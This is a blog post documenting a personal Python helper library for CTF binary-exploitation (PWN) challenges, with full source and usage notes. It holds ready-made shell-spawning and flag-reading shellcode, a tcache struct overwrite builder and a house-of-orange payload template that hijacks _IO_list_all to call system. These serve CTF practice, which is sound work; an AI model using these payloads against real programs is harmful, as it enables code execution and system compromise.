tools--自己简单写了一些函数放到了这个库里
我将自己写的一些方便解PWN题的鸡肋函数封装到了这个库里,第一是平常用起来方便顺手,第二顺便练习下编程能力,第三如果以后有可能的话,希望逐渐做成像roderick师傅的pwncli那样。
之后这个库不在博客园上再进行更新,最新的代码在新博客
这个库只支持python3
源代码
from ast import arg
from pwn import *
from LibcSearcher import *
import sys
import os
import re
from subprocess import check_output
def long_search(target_vul, leak_addr):
obj = LibcSearcher(target_vul, leak_addr)
libc_base = leak_addr - obj.dump(target_vul)
sys_addr = libc_base + obj.dump('system')
bin_sh_addr = libc_base + obj.dump('str_bin_sh')
log('libc_base',hex(libc_base))
log('sys_addr',hex(sys_addr))
log('bin_sh_addr',hex(bin_sh_addr))
return sys_addr, bin_sh_addr
def local_search(target_vul, leak_addr, libc):
libc_base = leak_addr - libc.symbols[target_vul]
sys_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + next(libc.search(b"/bin/sh"))
log('libc_base', hex(libc_base))
log('sys_addr',hex(sys_addr))
log('bin_sh_addr',hex(bin_sh_addr))
return sys_addr, bin_sh_addr
def log(message,value):
print("\033["+"0;30;41m"+message+"\033[0m"+
"\033["+str(91)+"m"+" ===============> "+
"\033[0m","\033["+"0;30;43m"+value+"\033[0m")
def log_addr(message : str):
assert isinstance(message,str),'The parameter passed in should be of type str'
variable= sys._getframe(1).f_locals.get(message)
assert isinstance(variable,int),'Variable should be of type int'
log(message,hex(variable))
def log_info(message):
print("\033[1;31m[\033[0m"+"\033[1;32m*\033[0m"+"\033[1;31m]\033[0m ",message)
def debug(p,*args):
try:
if len(sys.argv)==2:
return
except:
pass
if not args:
context.terminal = ['tmux', 'splitw', '-h']
gdb.attach(p)
os.system('tmux select-pane -L')
os.system('tmux split-window')
os.system('tmux set mouse on')
return
if args[0]=='no-tmux':
if args[1]=='pie':
list=[]
for i in range(2,len(args)):
demo = "b * $rebase(0x{:x})\n ".format(args[i])
list.append(demo)
info = "".join(list)
gdb.attach(p, info)
else:
list=[]
for i in range(1,len(args)):
demo = "b * 0x{:x}\n ".format(args[i])
list.append(demo)
info = "".join(list)
gdb.attach(p,info)
else:
if args[0]=='pie':
list=[]
for i in range(1,len(args)):
demo = "b * $rebase(0x{:x})\n ".format(args[i])
list.append(demo)
info = "".join(list)
context.terminal = ['tmux', 'splitw', '-h']
gdb.attach(p,info)
os.system('tmux select-pane -L')
os.system('tmux split-window')
os.system('tmux set mouse on')
else:
list=[]
for i in range(len(args)):
demo = "b * 0x{:x}\n ".format(args[i])
list.append(demo)
info = "".join(list)
context.terminal = ['tmux', 'splitw', '-h']
gdb.attach(p,info)
os.system('tmux select-pane -L')
os.system('tmux split-window')
os.system('tmux set mouse on')
def load(program_name, ip_port="", remote_libc=""):
global libc_info
global p
global framework
framework = pretreatment_arch(program_name)#判断程序架构
program_path = os.path.abspath(program_name)
recv = os.popen('ldd ' + program_path).read()
if "not a dynamic executable" in recv:#判断是否为静态链接
if ip_port == "":
p = process('./' + program_name)
else:
if ":" in ip_port:
par_list = ip_port.split(":", 1)
p = remote(par_list[0], par_list[1])
return p
p = remote(ip_port)
return p
"""如果程序是动态链接,那就去获取程序的libc信息"""
rule_version = r"libc-2\.[0-9][0-9]\.so"
version = re.findall(rule_version, recv)
if version:
rule_info = r"\t(.*?)" + version[0] + " \(0x"
info = re.findall(rule_info, recv)
libc_info = info[0] + version[0]
else:
rule_info = r"libc.so.6 => (.*?) \(0x"
info = re.findall(rule_info, recv)
libc_info = info[0]
if remote_libc!="" and ip_port != "" and (len(sys.argv) == 2 and sys.argv[1] == str(1)):
libc_info=remote_libc
log('libc_info', libc_info)
if len(sys.argv) == 1 or (len(sys.argv) == 2 and sys.argv[1] == str(2)):
"""如果打本地的话(命令行参数没有或者为2),就返回如下"""
p = process('./' + program_name)
e = ELF('./' + program_name)
libc = ELF(libc_info)
return p, e, libc
if ip_port != "" and (len(sys.argv) == 2 and sys.argv[1] == str(1)):
"""如果打远程的话(命令行参数为1)并且存在ip_port"""
"""再去判断是否存在远程的libc版本,如果有的话,就直接去装载对应的libc版本"""
"""这种情况是应对打远程和本地的小版本libc不一样的情况,比如one_gadget或者某些函数的偏移有细微差异,从而可以更快的去进行切换"""
if ":" in ip_port:
par_list = ip_port.split(":", 1)
p = remote(par_list[0], par_list[1])
e = ELF('./' + program_name)
if remote_libc!="":
libc=ELF(remote_libc)
else:
libc=ELF(libc_info)
return p, e, libc
def shellcode_store(demand):
if demand =='shell_64':
shellcode=b"\x48\x31\xC0\x6A\x3B\x58\x48\x31\xFF\x48\xBF\x2F\x62\x69\x6E\x2F\x73\x68\x00\x57\x54\x5F\x48\x31\xF6\x48\x31\xD2\x0F\x05"
return shellcode
elif demand=='shell_32':
shellcode=b"\x31\xC9\x31\xD2\x31\xDB\x53\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x31\xC0\x6A\x0B\x58\xCD\x80"
return shellcode
elif demand=='orw_64':
shellcode=b"\x68\x66\x6C\x61\x67\x54\x5F\x6A\x00\x5E\x6A\x02\x58\x0F\x05\x50\x5F\x54\x5E\x6A\x50\x5A\x6A\x00\x58\x0F\x05\x6A\x01\x5F\x54\x5E\x6A\x50\x5A\x6A\x01\x58\x0F\x05"
return shellcode
elif demand=='orw_32':
shellcode=b"\x6A\x00\x68\x66\x6C\x61\x67\x54\x5B\x31\xC9\x6A\x05\x58\xCD\x80\x50\x5B\x54\x59\x6A\x50\x5A\x6A\x03\x58\xCD\x80\x6A\x01\x5B\x54\x59\x6A\x50\x5A\x6A\x04\x58\xCD\x80"
return shellcode
elif demand=='str_rsp':
shellcode="Th0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a071N00"
return shellcode
elif demand=='str_esp':
shellcode="TYhffffk4diFkDql02Dqm0D1CuEE2O0Z2G7O0u7M041o1P0R7L0Y3T3C1l000n000Q4q0f2s7n0Y0X020e3j2r1k0h0i013A7o4y3A114C1n0z0h4k4r0y07"
return shellcode
elif demand=='str_rdi':
shellcode="Rh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t"
return shellcode
elif demand=='str_rsi':
shellcode="Vh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a071N00"
return shellcode
elif demand=='str_rax':
shellcode="Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t"
return shellcode
elif demand=='str_rbp':
shellcode="Uh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a071N00"
return shellcode
elif demand=='str_rbx':
shellcode="Sh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a071N00"
return shellcode
elif demand=='str_rcx':
shellcode="Qh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a071N00"
return shellcode
else:
assert False,"Pass in unrecognized parameter"
def search_og(index):
global libc_info
recv = os.popen('one_gadget '+libc_info).read()
p1 = re.compile(r"(.*exec)")
c = re.findall(p1,recv)
log_info(recv)
one_gadget_list=[int(i[:-5],16) for i in c ]
return one_gadget_list[index]
def recv_libc():
global p
global framework
if framework=='amd64':
recv_libc_addr=u64(p.recvuntil(b'\x7f',timeout=1)[-6:].ljust(8,b'\x00'))
log_addr('recv_libc_addr')
if framework=='i386':
recv_libc_addr=u32(p.recvuntil(b'\xf7')[-4:])
log_addr('recv_libc_addr')
return recv_libc_addr
def pretreatment_arch(program_name):
"""获取程序的位数"""
global framework
program_path = os.path.abspath(program_name)
recv = os.popen('file ' + program_path).read() # 执行file命令,来对获取的数据进行处理,以来判断程序的位数
if '64-bit' in recv:
framework = 'amd64'
elif '32-bit' in recv:
framework = 'i386'
else:
print('It may not be an ELF file, its type is {}'.format(recv))
exit()
log('The framework of the program is:',framework)
return framework
def p(address):
global framework
if framework=='amd64':
return p64(address)
elif framework=='i386':
return p32(address)
def tcache_struct_attack(writes:list,address={}):
"""这个函数目前只适用于2.27的libc版本中"""
"""两个参数都为列表 第一个必须要有 第二个则可以没有"""
"""如果我们想将0x110这条tcache链的counts改成7,那我们将第一个参数写为{0x110:7}即可"""
"""第二个参数是用来篡改某条链表的头指针,比如篡改0x120这条链的头指针为0xdeadbeef 则写成{0x120:0xdeadbeef}"""
count_list=[]
payload=b''
size=0x20
i=0
flag=0
while(0x410>=size):
if i==len(writes):
break
for key in writes:
if size==key:
count_list.append(writes[key].to_bytes(1,byteorder='little', signed=False))
i=i+1
flag=1
if flag==0:
count_list.append((b'\x00'))
size=size+0x10
flag=0
payload=b''.join(count_list)
if address:
payload.ljust(0x40,b'\x00')
size=0x20
i=0
flag=0
address_list=[]
while(0x410>=size):
if i==len(address):
break
for key in address:
if size==key:
address_list.append(p(address[key]))
i=i+1
flag=1
if flag==0:
address_list.append(p(0))
size=size+0x10
flag=0
payload=payload.join(address_list)
return payload
def orange_attack(libc_base:int,heap_addr:int,fill_data,libc)->bytes:
'''
在house of orange攻击中,如果获取了libc地址和堆地址,并且让堆块进入unsorted bin中
后续的攻击较为模板化,因此将后面的payload模板化
使用该函数最需要注意的就是heap_addr必须要是在unsorted bin中的那个堆块地址
:param libc_base: libc基地址
:param heap_addr: 在unsorted bin中的堆块地址
:param fill_data: 因为我们是溢出来控制的堆块数据,这个fill_data是覆盖正常堆块的数据
假设正常堆块size为0x400,我们通过正常堆块溢出到它下面位于unsorted bin中的堆块,那么fill_data为0x400
:param libc: 该参数就是程序所依赖的libc库,用于之后在libc中搜索需要的符号表
:return: 构造好的payload
'''
sys_addr = libc_base + libc.symbols['system']
io_list_all = libc_base + libc.symbols['_IO_list_all']
payload = b'a' * fill_data
payload += b'/bin/sh\x00' + p64(0x61) # old top chunk prev_size & size 同时也是fake stdout的_flags字段
payload += p64(0) + p64(io_list_all - 0x10) # old top chunk fd & bk 覆盖bk,进行unsorted bin attack
payload += p64(0) + p64(1) # _IO_write_base & _IO_write_ptr
payload += p64(0) * 7
payload += p64(heap_addr) # chain
payload += p64(0) * 13
payload += p64(heap_addr+0xd8) #vtable
payload += p64(0) + p64(0) + p64(sys_addr)#sys_addr为 __overflow字段
return payload
命令行参数:
为了不在打远程和本地,以及打本地时是否开启调试选择中来不断的更改脚本,因此我设置了命令行参数来直接做切换。
1 去打远程且不开启脚本中的调试
2 打本地且不开启脚本中的调试
如果不加命令行参数,则默认打本地,若有debug函数则自动开启调试。
假设你现在想打远程
那么你需要在脚本里写p,e,libc=load("heap","node4.buuoj.cn:27339")
(程序名和ip&port请自行更改,这里只是举例说明)
然后运行脚本时使用命令 如下(即使脚本中有debug函数也不影响打远程)
python3 exp.py 1
如果打本地时,不想去让脚本执行debug函数,那么命令可以如下(这样的好处是即使脚本中存在debug函数,但不想在本次执行脚本时debug也不需要来回去脚本里注释了)
python3 exp.py 2
如果直接运行exp.py的话,即使脚本里存在ip和port也不会去打远程
各个函数的使用说明
long_search&local_search
作用:这两个函数就是去libc中寻找system函数和/bin/sh的地址(分别用于本地和远程)
优点:将用LibcSearcher搜索并装载的重复的代码都放到了函数内部,现在一行就可以获取system和/bin/sh地址,因此您的脚本看起来更为简洁。
使用范例
sys_addr,bin_sh_addr=long_search('puts',puts_addr)
sys_addr,bin_sh_addr=local_search('puts',puts_addr,libc)
"""libc指的是装载本地的libc,例如在脚本开始声明"""
"""libc=ELF('/lib/i386-linux-gnu/libc.so.6')"""
log
作用:这个函数就是单纯的打印一下某些变量的信息,类似于日志(但我更建议去使用下面的log_addr函数)
优点:加了箭头和字体颜色效果,可以更清楚的打印所需要的信息
使用范例
puts=123456
log('puts_addr',puts_addr)
log_addr
如果你仅仅是想看一下变量对应的值是否是你需要的那个地址,同时感觉上面这个log函数太麻烦还需要两个参数,那么你不妨试试log_addr函数。
作用:log_addr是专门为展示地址设计的(因为它会自动将变量以16进制的形式打印)
优点:只传一个变量名字即可同时返回的是以十六进制表示的变量,但是没有log函数灵活。
使用前提:你要确保变量是int类型的,那么你仅仅传入字符型的变量名字(不是变量)
使用范例
puts_addr=123456
log_addr('puts_addr')
使用效果:
log_info
如果仅仅是打印一个参数的话,可以使用log_info函数。
作用:打印调试信息
优点:前面加了[*],使调试信息更加明显,让你更快的找到你想看见的信息。
适用情况:比如你发现u32(p.recv(4))得到的地址不对,你想要看看p.recv()到底接收了什么,那么你就可以这么写log_info(p.recv())。
使用范例
log_info(p.recv())
使用效果:
debug
作用:在脚本中下断点进行调试
优点:1、如果使用tmux,可以直接分三屏,效果如下图。您仅仅只需要在脚本中加入这个函数,运行脚本的时候就可以自动分出三块屏幕(调试具体信息占屏幕的右侧,左上是脚本的debug执行信息,左下则可以继续使用),左下角的区域完全可以去对着脚本进行调试。
2、可以很简洁的输入地址,即可完成下断点的工作,同时开了pie保护的话,也可以正常去下断点
使用说明:
这个函数还是比较常用的,适用于tmux的终端,只需要在最开始传递一下process函数返回的对象,接着就可以直接下断点了(默认使用tmux),如果开启了PIE保护的话,需要声明一下pie(也就是加一个参数'pie')即可继续下断点。
如果不使用tmux也没问题,可以加入参数no-tmux就可以正常使用这个函数(如果使用no-tmux,则这个参数必须是放在第二个参数的位置(第一个参数始终是process的返回值)
如果直接使用debug()函数,参数只有process函数返回的对象的话,则默认使用tmux终端,执行分三屏命令,最后执行gdb.attach(p)
PS:这个函数可以放到脚本的任何位置(必须要保证当前位置的下面还有一行不会触发报错的代码),这样可以从脚本当前的位置去开始调试,同时配合下的断点可以使调试更高效。
使用范例:
debug(p,0x400ECD,0x400F54)
"""使用tmux,下两个断点"""
debug(p,'no-tmux','pie',0x248)
"""不使用tmux,程序开了pie,用偏移来下断点"""
debug(p)
"""使用tmux,执行gdb.attach(p)"""
load
作用:写入目标程序的名字,将返回p(process的返回值),e(当前ELF文件的信息),libc(ELF文件所依赖的libc文件的信息)。ps:如果是静态链接的程序,那么只会执行p=process或者p=remote然后直接返回p。
也就是相当于执行了原来的p=process('xxx') e=ELF('xxx') libc=ELF('xxx')。如果传入了ip和port的话,则会执行remote(ip,port)代替原本的process。这样就可以直接打远程了
优点:将原本重复的代码写在了函数内部,现在只要调用load函数,传入函数名即。同时该函数也获取了libc的信息将其存为了全局变量,为了之后获取one_gadget的函数直接使用。
使用范例:
p,e,libc=load('program')#这是打本地,动态链接的程序
p=load('program')#这是打本地,静态链接的程序
p,e,libc=load("program","node4.buuoj.cn:28822")#这是打远程的情况,ip和port只需要用:分隔开即可。
shellcode_store
我封装了一些shellcode放到了tools里面,可以使用shellcode_store函数来进行使用。
作用:参数设置为需要的shellcode类型,返回对应的shellcode
使用范例:
shellcode=shellcode_store('shell_64')#返回64位获取shell的shellcode
shellcode=shellcode_store('orw_32')#返回32位执行open,read,write读出flag的shellcode
shellcode=shellcode_store('str_rax')#返回起始的跳转寄存器为rax的字符型shellcode
PS:获取shell和orw的我都写了64位和32位的shellcode(应该是最短字节的了),纯字符的shellcode我几乎只生成了针对于x64的各个寄存器,其他没有生成那么多(因为感觉平常很少用到),等以后用到没有生成过的再记录上来吧。
search_og
作用:不需要手动将one_gadget工具获取的one_gadget再复制粘贴到脚本中了,可以直接通过这个函数来获取one_gadget,参数为想获取对应的one_gadget在列表中的索引。
注意:这个函数依赖了one_gadget这个工具以及load函数,因此必须要保证当前拥有one_gadget工具并且脚本中使用了load函数才行。
使用范例:
one_gadget=search_og(1)
p.sendline(p64(one_gadget+libc_base))
使用效果: